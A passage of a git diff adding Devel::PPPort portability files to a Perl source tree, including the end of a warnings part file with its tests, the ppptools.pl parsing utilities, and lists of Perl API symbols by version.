+__UNDEFINED__ WARN_MISC 12
+__UNDEFINED__ WARN_NUMERIC 13
+__UNDEFINED__ WARN_ONCE 14
+__UNDEFINED__ WARN_OVERFLOW 15
+__UNDEFINED__ WARN_PACK 16
+__UNDEFINED__ WARN_PORTABLE 17
+__UNDEFINED__ WARN_RECURSION 18
+__UNDEFINED__ WARN_REDEFINE 19
+__UNDEFINED__ WARN_REGEXP 20
+__UNDEFINED__ WARN_SEVERE 21
+__UNDEFINED__ WARN_DEBUGGING 22
+__UNDEFINED__ WARN_INPLACE 23
+__UNDEFINED__ WARN_INTERNAL 24
+__UNDEFINED__ WARN_MALLOC 25
+__UNDEFINED__ WARN_SIGNAL 26
+__UNDEFINED__ WARN_SUBSTR 27
+__UNDEFINED__ WARN_SYNTAX 28
+__UNDEFINED__ WARN_AMBIGUOUS 29
+__UNDEFINED__ WARN_BAREWORD 30
+__UNDEFINED__ WARN_DIGIT 31
+__UNDEFINED__ WARN_PARENTHESIS 32
+__UNDEFINED__ WARN_PRECEDENCE 33
+__UNDEFINED__ WARN_PRINTF 34
+__UNDEFINED__ WARN_PROTOTYPE 35
+__UNDEFINED__ WARN_QW 36
+__UNDEFINED__ WARN_RESERVED 37
+__UNDEFINED__ WARN_SEMICOLON 38
+__UNDEFINED__ WARN_TAINT 39
+__UNDEFINED__ WARN_THREADS 40
+__UNDEFINED__ WARN_UNINITIALIZED 41
+__UNDEFINED__ WARN_UNPACK 42
+__UNDEFINED__ WARN_UNTIE 43
+__UNDEFINED__ WARN_UTF8 44
+__UNDEFINED__ WARN_VOID 45
+__UNDEFINED__ WARN_ASSERTIONS 46
+
+__UNDEFINED__ packWARN(a) (a)
+
+#ifndef ckWARN
+# ifdef G_WARN_ON
+# define ckWARN(a) (PL_dowarn & G_WARN_ON)
+# else
+# define ckWARN(a) PL_dowarn
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(warner)
+#if { NEED warner }
+
+void
+warner(U32 err, const char *pat, ...)
+{
+ SV *sv;
+ va_list args;
+
+ PERL_UNUSED_ARG(err);
+
+ va_start(args, pat);
+ sv = vnewSVpvf(pat, &args);
+ va_end(args);
+ sv_2mortal(sv);
+ warn("%s", SvPV_nolen(sv));
+}
+
+#define warner Perl_warner
+
+#define Perl_warner_nocontext Perl_warner
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_warner
+
+=xsubs
+
+void
+warner()
+ CODE:
+#if { VERSION >= 5.004 }
+ warner(packWARN(WARN_MISC), "warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner()
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_warner(aTHX_ packWARN(WARN_MISC), "Perl_warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner_nocontext()
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_warner_nocontext(packWARN(WARN_MISC), "Perl_warner_nocontext %s:%d", "bar", 42);
+#endif
+
+void
+ckWARN()
+ CODE:
+#if { VERSION >= 5.004 }
+ if (ckWARN(WARN_MISC))
+ Perl_warner_nocontext(packWARN(WARN_MISC), "ckWARN %s:%d", "bar", 42);
+#endif
+
+=tests plan => 5
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc
new file mode 100644
index 00000000000..efa648f81ea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc
@@ -0,0 +1,23 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: Perl/Pollution/Portability
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+: Version 2.x, Copyright (C) 2001, Paul Marquess.
+: Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+:
+: This program is free software; you can redistribute it and/or
+: modify it under the same terms as Perl itself.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are provided purely
+: by Devel::PPPort. It is in the same format as the F<embed.fnc> that
+: ships with the Perl source code.
+:
+
+Am |void |sv_magic_portable|NN SV* sv|NULLOK SV* obj|int how|NULLOK const char* name \
+ |I32 namlen
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl
new file mode 100644
index 00000000000..62e533909d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl
@@ -0,0 +1,404 @@
+################################################################################
+#
+# ppptools.pl -- various utility functions
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+sub cat_file
+{
+ eval { require File::Spec };
+ return $@ ? join('/', @_) : File::Spec->catfile(@_);
+}
+
+sub all_files_in_dir
+{
+ my $dir = shift;
+ local *DIR;
+
+ opendir DIR, $dir or die "cannot open directory $dir: $!\n";
+ my @files = grep { !-d && !/^\./ } readdir DIR; # no dirs or hidden files
+ closedir DIR;
+
+ return map { cat_file($dir, $_) } sort @files;
+}
+
+sub parse_todo
+{
+ my $dir = shift || 'parts/todo';
+ local *TODO;
+ my %todo;
+ my $todo;
+
+ for $todo (all_files_in_dir($dir)) {
+ open TODO, $todo or die "cannot open $todo: $!\n";
+ my $perl = <TODO>;
+ chomp $perl;
+ while (<TODO>) {
+ chomp;
+ s/#.*//;
+ s/^\s+//; s/\s+$//;
+ /^\s*$/ and next;
+ /^\w+$/ or die "invalid identifier: $_\n";
+ exists $todo{$_} and die "duplicate identifier: $_ ($todo{$_} <=> $perl)\n";
+ $todo{$_} = $perl;
+ }
+ close TODO;
+ }
+
+ return \%todo;
+}
+
+sub expand_version
+{
+ my($op, $ver) = @_;
+ my($r, $v, $s) = parse_version($ver);
+ $r == 5 or die "only Perl revision 5 is supported\n";
+ my $bcdver = sprintf "0x%d%03d%03d", $r, $v, $s;
+ return "(PERL_BCDVERSION $op $bcdver)";
+}
+
+sub parse_partspec
+{
+ my $file = shift;
+ my $section = 'implementation';
+ my $vsec = join '|', qw( provides dontwarn implementation
+ xsubs xsinit xsmisc xshead xsboot tests );
+ my(%data, %options);
+ local *F;
+
+ open F, $file or die "$file: $!\n";
+ while (<F>) {
+ /[ \t]+$/ and warn "$file:$.: warning: trailing whitespace\n";
+ if ($section eq 'implementation') {
+ m!//! && !m!(?:=~|s/).*//! && !m!(?:ht|f)tp(?:s)://!
+ and warn "$file:$.: warning: potential C++ comment\n";
+ }
+ /^##/ and next;
+ if (/^=($vsec)(?:\s+(.*))?/) {
+ $section = $1;
+ if (defined $2) {
+ my $opt = $2;
+ $options{$section} = eval "{ $opt }";
+ $@ and die "$file:$.: invalid options ($opt) in section $section: $@\n";
+ }
+ next;
+ }
+ push @{$data{$section}}, $_;
+ }
+ close F;
+
+ for (keys %data) {
+ my @v = @{$data{$_}};
+ shift @v while @v && $v[0] =~ /^\s*$/;
+ pop @v while @v && $v[-1] =~ /^\s*$/;
+ $data{$_} = join '', @v;
+ }
+
+ unless (exists $data{provides}) {
+ $data{provides} = ($file =~ /(\w+)\.?$/)[0];
+ }
+ $data{provides} = [$data{provides} =~ /(\S+)/g];
+
+ if (exists $data{dontwarn}) {
+ $data{dontwarn} = [$data{dontwarn} =~ /(\S+)/g];
+ }
+
+ my @prov;
+ my %proto;
+
+ if (exists $data{tests} && (!exists $data{implementation} || $data{implementation} !~ /\S/)) {
+ $data{implementation} = '';
+ }
+ else {
+ $data{implementation} =~ /\S/ or die "Empty implementation in $file\n";
+
+ my $p;
+
+ for $p (@{$data{provides}}) {
+ if ($p =~ m#^/.*/\w*$#) {
+ my @tmp = eval "\$data{implementation} =~ ${p}gm";
+ $@ and die "invalid regex $p in $file\n";
+ @tmp or warn "no matches for regex $p in $file\n";
+ push @prov, do { my %h; grep !$h{$_}++, @tmp };
+ }
+ elsif ($p eq '__UNDEFINED__') {
+ my @tmp = $data{implementation} =~ /^\s*__UNDEFINED__[^\r\n\S]+(\w+)/gm;
+ @tmp or warn "no __UNDEFINED__ macros in $file\n";
+ push @prov, @tmp;
+ }
+ else {
+ push @prov, $p;
+ }
+ }
+
+ for (@prov) {
+ if ($data{implementation} !~ /\b\Q$_\E\b/) {
+ warn "$file claims to provide $_, but doesn't seem to do so\n";
+ next;
+ }
+
+ # scan for prototypes
+ my($proto) = $data{implementation} =~ /
+ ( ^ (?:[\w*]|[^\S\r\n])+
+ [\r\n]*?
+ ^ \b$_\b \s*
+ \( [^{]* \)
+ )
+ \s* \{
+ /xm or next;
+
+ $proto =~ s/^\s+//;
+ $proto =~ s/\s+$//;
+ $proto =~ s/\s+/ /g;
+
+ exists $proto{$_} and warn "$file: duplicate prototype for $_\n";
+ $proto{$_} = $proto;
+ }
+ }
+
+ for $section (qw( implementation xsubs xsinit xsmisc xshead xsboot )) {
+ if (exists $data{$section}) {
+ $data{$section} =~ s/\{\s*version\s*(<|>|==|!=|>=|<=)\s*([\d._]+)\s*\}/expand_version($1, $2)/gei;
+ }
+ }
+
+ $data{provides} = \@prov;
+ $data{prototypes} = \%proto;
+ $data{OPTIONS} = \%options;
+
+ my %prov = map { ($_ => 1) } @prov;
+ my %dontwarn = exists $data{dontwarn} ? map { ($_ => 1) } @{$data{dontwarn}} : ();
+ my @maybeprov = do { my %h;
+ grep {
+ my($nop) = /^Perl_(.*)/;
+ not exists $prov{$_} ||
+ exists $dontwarn{$_} ||
+ /^D_PPP_/ ||
+ (defined $nop && exists $prov{$nop} ) ||
+ (defined $nop && exists $dontwarn{$nop}) ||
+ $h{$_}++;
+ }
+ $data{implementation} =~ /^\s*#\s*define\s+(\w+)/gm };
+
+ if (@maybeprov) {
+ warn "$file seems to provide these macros, but doesn't list them:\n "
+ . join("\n ", @maybeprov) . "\n";
+ }
+
+ return \%data;
+}
+
+sub compare_prototypes
+{
+ my($p1, $p2) = @_;
+ for ($p1, $p2) {
+ s/^\s+//;
+ s/\s+$//;
+ s/\s+/ /g;
+ s/(\w)\s(\W)/$1$2/g;
+ s/(\W)\s(\w)/$1$2/g;
+ }
+ return $p1 cmp $p2;
+}
+
+sub ppcond
+{
+ my $s = shift;
+ my @c;
+ my $p;
+
+ for $p (@$s) {
+ push @c, map "!($_)", @{$p->{pre}};
+ defined $p->{cur} and push @c, "($p->{cur})";
+ }
+
+ join " && ", @c;
+}
+
+sub trim_arg
+{
+ my $in = shift;
+ my $remove = join '|', qw( NN NULLOK VOL );
+
+ $in eq '...' and return ($in);
+
+ local $_ = $in;
+ my $id;
+
+ s/[*()]/ /g;
+ s/\[[^\]]*\]/ /g;
+ s/\b(?:auto|const|extern|inline|register|static|volatile|restrict)\b//g;
+ s/\b(?:$remove)\b//;
+ s/^\s*//; s/\s*$//;
+
+ if( /^\b(?:struct|union|enum)\s+\w+(?:\s+(\w+))?$/ ) {
+ defined $1 and $id = $1;
+ }
+ else {
+ if( s/\b(?:char|double|float|int|long|short|signed|unsigned|void)\b//g ) {
+ /^\s*(\w+)\s*$/ and $id = $1;
+ }
+ else {
+ /^\s*\w+\s+(\w+)\s*$/ and $id = $1;
+ }
+ }
+
+ $_ = $in;
+
+ defined $id and s/\b$id\b//;
+
+ # these don't matter at all
+ s/\b(?:auto|extern|inline|register|static|volatile|restrict)\b//g;
+ s/\b(?:$remove)\b//;
+
+ s/(?=<\*)\s+(?=\*)//g;
+ s/\s*(\*+)\s*/ $1 /g;
+ s/^\s*//; s/\s*$//;
+ s/\s+/ /g;
+
+ return ($_, $id);
+}
+
+sub parse_embed
+{
+ my @files = @_;
+ my @func;
+ my @pps;
+ my $file;
+ local *FILE;
+
+ for $file (@files) {
+ open FILE, $file or die "$file: $!\n";
+ my($line, $l);
+
+ while (defined($line = <FILE>)) {
+ while ($line =~ /\\$/ && defined($l = <FILE>)) {
+ $line =~ s/\\\s*//;
+ $line .= $l;
+ }
+ next if $line =~ /^\s*:/;
+ $line =~ s/^\s+|\s+$//gs;
+ my($dir, $args) = ($line =~ /^\s*#\s*(\w+)(?:\s*(.*?)\s*)?$/);
+ if (defined $dir and defined $args) {
+ for ($dir) {
+ /^ifdef$/ and do { push @pps, { pre => [], cur => "defined($args)" } ; last };
+ /^ifndef$/ and do { push @pps, { pre => [], cur => "!defined($args)" } ; last };
+ /^if$/ and do { push @pps, { pre => [], cur => $args } ; last };
+ /^elif$/ and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = $args; last };
+ /^else$/ and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = undef; last };
+ /^endif$/ and do { pop @pps ; last };
+ /^include$/ and last;
+ /^define$/ and last;
+ /^undef$/ and last;
+ warn "unhandled preprocessor directive: $dir\n";
+ }
+ }
+ else {
+ my @e = split /\s*\|\s*/, $line;
+ if( @e >= 3 ) {
+ my($flags, $ret, $name, @args) = @e;
+ if ($name =~ /^[^\W\d]\w*$/) {
+ for (@args) {
+ $_ = [trim_arg($_)];
+ }
+ ($ret) = trim_arg($ret);
+ push @func, {
+ name => $name,
+ flags => { map { $_, 1 } $flags =~ /./g },
+ ret => $ret,
+ args => \@args,
+ cond => ppcond(\@pps),
+ };
+ }
+ elsif ($name =~ /^[^\W\d]\w*-E<gt>[^\W\d]\w*$/) {
+ # silenty ignore entries of the form
+ # PL_parser-E<gt>linestr
+ # which documents a struct entry rather than a function
+ }
+ else {
+ warn "mysterious name [$name] in $file, line $.\n";
+ }
+ }
+ }
+ }
+
+ close FILE;
+ }
+
+ return @func;
+}
+
+sub make_prototype
+{
+ my $f = shift;
+ my @args = map { "@$_" } @{$f->{args}};
+ my $proto;
+ my $pTHX_ = exists $f->{flags}{n} ? "" : "pTHX_ ";
+ $proto = "$f->{ret} $f->{name}" . "($pTHX_" . join(', ', @args) . ')';
+ return $proto;
+}
+
+sub format_version
+{
+ my $ver = shift;
+
+ $ver =~ s/$/000000/;
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "invalid version '$ver'\n";
+ }
+ $s /= 10;
+
+ $ver = sprintf "%d.%03d", $r, $v;
+ $s > 0 and $ver .= sprintf "_%02d", $s;
+
+ return $ver;
+ }
+
+ return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return ($1, $2, $3);
+ }
+ elsif ($ver !~ /^\d+\.[\d_]+$/) {
+ die "cannot parse version '$ver'\n";
+ }
+
+ $ver =~ s/_//g;
+ $ver =~ s/$/000000/;
+
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "cannot parse version '$ver'\n";
+ }
+ $s /= 10;
+ }
+
+ return ($r, $v, $s);
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070
new file mode 100644
index 00000000000..df2f8476925
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5003070
@@ -0,0 +1,21 @@
+5.003070
+HeHASH # U
+HeKEY # U
+HeKLEN # U
+HeSVKEY # U
+HeSVKEY_force # U
+HeVAL # U
+cv_const_sv # U
+do_open # E (Perl_do_open)
+gv_efullname3 # U
+gv_fullname3 # U
+hv_delete_ent # U
+hv_exists_ent # U
+hv_fetch_ent # U
+hv_iterkeysv # U
+hv_ksplit # U
+hv_store_ent # U
+my_pclose # E (Perl_my_pclose)
+my_popen # E (Perl_my_popen)
+sv_gets # E (Perl_sv_gets)
+unsharepvn # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000
new file mode 100644
index 00000000000..ec87e88f115
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004000
@@ -0,0 +1,51 @@
+5.004000
+GIMME_V # E
+G_VOID # E
+HePV # A
+HeSVKEY_set # U
+POPu # E
+SvSetMagicSV # U
+SvSetMagicSV_nosteal # U
+SvSetSV_nosteal # U
+SvTAINTED # U
+SvTAINTED_off # U
+SvTAINTED_on # U
+block_end # E (Perl_block_end)
+block_gimme # U
+block_start # E (Perl_block_start)
+call_list # U
+delimcpy # U
+form # U
+gv_autoload4 # U
+gv_fetchmethod_autoload # U
+hv_delayfree_ent # U
+hv_free_ent # U
+ibcmp_locale # U
+intro_my # U
+my_failure_exit # U
+newSVpvf # U
+rsignal # E
+rsignal_state # E
+save_I16 # U
+save_gp # U
+share_hek # E
+start_subparse # E (Perl_start_subparse)
+sv_catpvf # U
+sv_catpvf_mg # U
+sv_cmp_locale # U
+sv_derived_from # U
+sv_magic_portable # U
+sv_setpvf # U
+sv_setpvf_mg # U
+sv_taint # U
+sv_tainted # U
+sv_untaint # U
+sv_vcatpvf # U
+sv_vcatpvf_mg # U
+sv_vcatpvfn # U
+sv_vsetpvf # U
+sv_vsetpvf_mg # U
+sv_vsetpvfn # U
+toLOWER_LC # U
+vnewSVpvf # U
+warner # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010
new file mode 100644
index 00000000000..8c298666039
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004010
@@ -0,0 +1 @@
+5.004010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020
new file mode 100644
index 00000000000..4b43fdf8e46
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004020
@@ -0,0 +1 @@
+5.004020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030
new file mode 100644
index 00000000000..e45facbb1f9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004030
@@ -0,0 +1 @@
+5.004030
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040
new file mode 100644
index 00000000000..69ccd5d62c5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004040
@@ -0,0 +1 @@
+5.004040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050
new file mode 100644
index 00000000000..0f7a1f73fe5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5004050
@@ -0,0 +1,7 @@
+5.004050
+CopyD # E
+MoveD # E
+do_binmode # U
+my_bcopy # U
+save_aelem # U
+save_helem # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000
new file mode 100644
index 00000000000..e27a06dc8f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005000
@@ -0,0 +1,28 @@
+5.005000
+PL_curpad # E
+PL_modglobal # E
+cx_dump # U
+debop # U
+debprofdump # U
+fbm_compile # E (Perl_fbm_compile)
+fbm_instr # E (Perl_fbm_instr)
+get_op_descs # U
+get_op_names # U
+init_stacks # U
+mg_length # U
+mg_size # U
+newHVhv # U
+new_stackinfo # E
+regdump # U
+regexec_flags # U
+regnext # E (Perl_regnext)
+runops_debug # U
+runops_standard # U
+save_iv # U (save_iv)
+save_op # U
+sv_iv # U
+sv_nv # U
+sv_peek # U
+sv_pvn # U
+sv_pvn_nomg # U
+sv_true # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010
new file mode 100644
index 00000000000..deebff5bf8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005010
@@ -0,0 +1 @@
+5.005010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020
new file mode 100644
index 00000000000..d19ff2ae09e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005020
@@ -0,0 +1 @@
+5.005020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030
new file mode 100644
index 00000000000..885afa0d233
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005030
@@ -0,0 +1,4 @@
+5.005030
+POPpx # E
+get_vtbl # U
+save_generic_svref # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040
new file mode 100644
index 00000000000..8a165c20337
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5005040
@@ -0,0 +1 @@
+5.005040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000
new file mode 100644
index 00000000000..6c0acac231a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000
@@ -0,0 +1,150 @@
+5.006000
+DO_UTF8 # U
+PERL_SYS_INIT3 # U
+PL_check # E
+POPul # E
+SvIOK_UV # U
+SvIOK_notUV # U
+SvIOK_only_UV # U
+SvPOK_only_UTF8 # U
+SvPVbyte_nolen # U
+SvPVbytex # U
+SvPVbytex_force # U
+SvPVutf8 # U
+SvPVutf8_force # U
+SvPVutf8_nolen # U
+SvPVutf8x # U
+SvPVutf8x_force # U
+SvUOK # U
+SvUTF8 # U
+SvUTF8_off # U
+SvUTF8_on # U
+UTF8SKIP # U
+av_delete # U
+av_exists # U
+call_atexit # E
+caller_cx # U
+cast_i32 # U (cast_i32)
+cast_iv # U (cast_iv)
+cast_ulong # U
+cast_uv # U (cast_uv)
+do_gv_dump # U
+do_gvgv_dump # U
+do_hv_dump # U
+do_magic_dump # U
+do_op_dump # U
+do_open9 # U
+do_pmop_dump # U
+do_sv_dump # U
+dump_all # U
+dump_eval # U
+dump_form # U
+dump_indent # U
+dump_packsubs # U
+dump_sub # U
+dump_vindent # U
+get_context # U
+get_ppaddr # E
+gv_dump # U
+init_i18nl10n # U (perl_init_i18nl10n)
+init_i18nl14n # U (perl_init_i18nl14n)
+is_uni_alnum # U
+is_uni_alnum_lc # U
+is_uni_alpha # U
+is_uni_alpha_lc # U
+is_uni_ascii # U
+is_uni_ascii_lc # U
+is_uni_cntrl # U
+is_uni_cntrl_lc # U
+is_uni_digit # U
+is_uni_digit_lc # U
+is_uni_graph # U
+is_uni_graph_lc # U
+is_uni_idfirst # U
+is_uni_idfirst_lc # U
+is_uni_lower # U
+is_uni_lower_lc # U
+is_uni_print # U
+is_uni_print_lc # U
+is_uni_punct # U
+is_uni_punct_lc # U
+is_uni_space # U
+is_uni_space_lc # U
+is_uni_upper # U
+is_uni_upper_lc # U
+is_uni_xdigit # U
+is_uni_xdigit_lc # U
+is_utf8_alnum # U
+is_utf8_alpha # U
+is_utf8_ascii # U
+is_utf8_char # U
+is_utf8_cntrl # U
+is_utf8_digit # U
+is_utf8_graph # U
+is_utf8_idfirst # U
+is_utf8_lower # U
+is_utf8_mark # U
+is_utf8_print # U
+is_utf8_punct # U
+is_utf8_space # U
+is_utf8_upper # U
+is_utf8_xdigit # U
+magic_dump # U
+my_atof # U
+my_fflush_all # U
+newANONATTRSUB # U
+newATTRSUB # U
+newXS # E (Perl_newXS)
+newXSproto # E
+new_collate # U (perl_new_collate)
+new_ctype # U (perl_new_ctype)
+new_numeric # U (perl_new_numeric)
+op_dump # U
+perl_parse # E (perl_parse)
+pmop_dump # U
+re_intuit_string # U
+reginitcolors # U
+require_pv # U (perl_require_pv)
+safesyscalloc # U
+safesysfree # U
+safesysmalloc # U
+safesysrealloc # U
+save_I8 # U
+save_alloc # U
+save_destructor # E (Perl_save_destructor)
+save_destructor_x # E
+save_re_context # U
+save_vptr # U
+scan_bin # U
+set_context # U
+set_numeric_local # U (perl_set_numeric_local)
+set_numeric_radix # U
+set_numeric_standard # U (perl_set_numeric_standard)
+str_to_version # U
+sv_2pvutf8 # U
+sv_2pvutf8_nolen # U
+sv_force_normal # U
+sv_len_utf8 # U
+sv_pos_b2u # U
+sv_pos_u2b # U
+sv_pv # U
+sv_pvbyte # U
+sv_pvbyten # U
+sv_pvbyten_force # U
+sv_pvutf8 # U
+sv_pvutf8n # U
+sv_pvutf8n_force # U
+sv_rvweaken # U
+sv_utf8_decode # U
+sv_utf8_downgrade # U
+sv_utf8_encode # U
+swash_init # U
+to_uni_lower_lc # U
+to_uni_title_lc # U
+to_uni_upper_lc # U
+utf8_distance # U
+utf8_hop # U
+vcroak # U
+vform # U
+vwarn # U
+vwarner # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001
new file mode 100644
index 00000000000..3f4ea792ffc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006001
@@ -0,0 +1,11 @@
+5.006001
+SvGAMAGIC # U
+apply_attrs_string # U
+bytes_to_utf8 # U
+gv_efullname4 # U
+gv_fullname4 # U
+is_utf8_string # U
+save_generic_pvref # U
+utf16_to_utf8 # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002
new file mode 100644
index 00000000000..dfe09ce2c59
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006002
@@ -0,0 +1 @@
+5.006002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000
new file mode 100644
index 00000000000..49d08465db8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007000
@@ -0,0 +1 @@
+5.007000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001
new file mode 100644
index 00000000000..cee6dec8451
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007001
@@ -0,0 +1,23 @@
+5.007001
+ASCII_TO_NEED # U
+NATIVE_TO_NEED # U
+POPpbytex # E
+bytes_from_utf8 # U
+despatch_signals # U
+do_openn # U
+gv_handler # U
+is_lvalue_sub # U
+my_popen_list # U
+save_mortalizesv # U
+scan_num # E (Perl_scan_num)
+sv_force_normal_flags # U
+sv_setref_uv # U
+sv_unref_flags # U
+sv_utf8_upgrade # E (Perl_sv_utf8_upgrade)
+utf8_length # U
+utf8_to_uvchr # U
+utf8_to_uvuni # U
+utf8n_to_uvchr # U
+utf8n_to_uvuni # U
+uvchr_to_utf8 # U
+uvuni_to_utf8 # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002
new file mode 100644
index 00000000000..cb28d72bf3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007002
@@ -0,0 +1,17 @@
+5.007002
+calloc # U
+getcwd_sv # U
+init_tm # U
+malloc # U
+mfree # U
+mini_mktime # U
+my_atof2 # U
+my_strftime # U
+op_null # U
+realloc # U
+sv_catpvn_flags # U
+sv_catsv_flags # U
+sv_setsv_flags # U
+sv_utf8_upgrade_flags # U
+sv_utf8_upgrade_nomg # U
+swash_fetch # E (Perl_swash_fetch)
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003
new file mode 100644
index 00000000000..c9e1cea6eb4
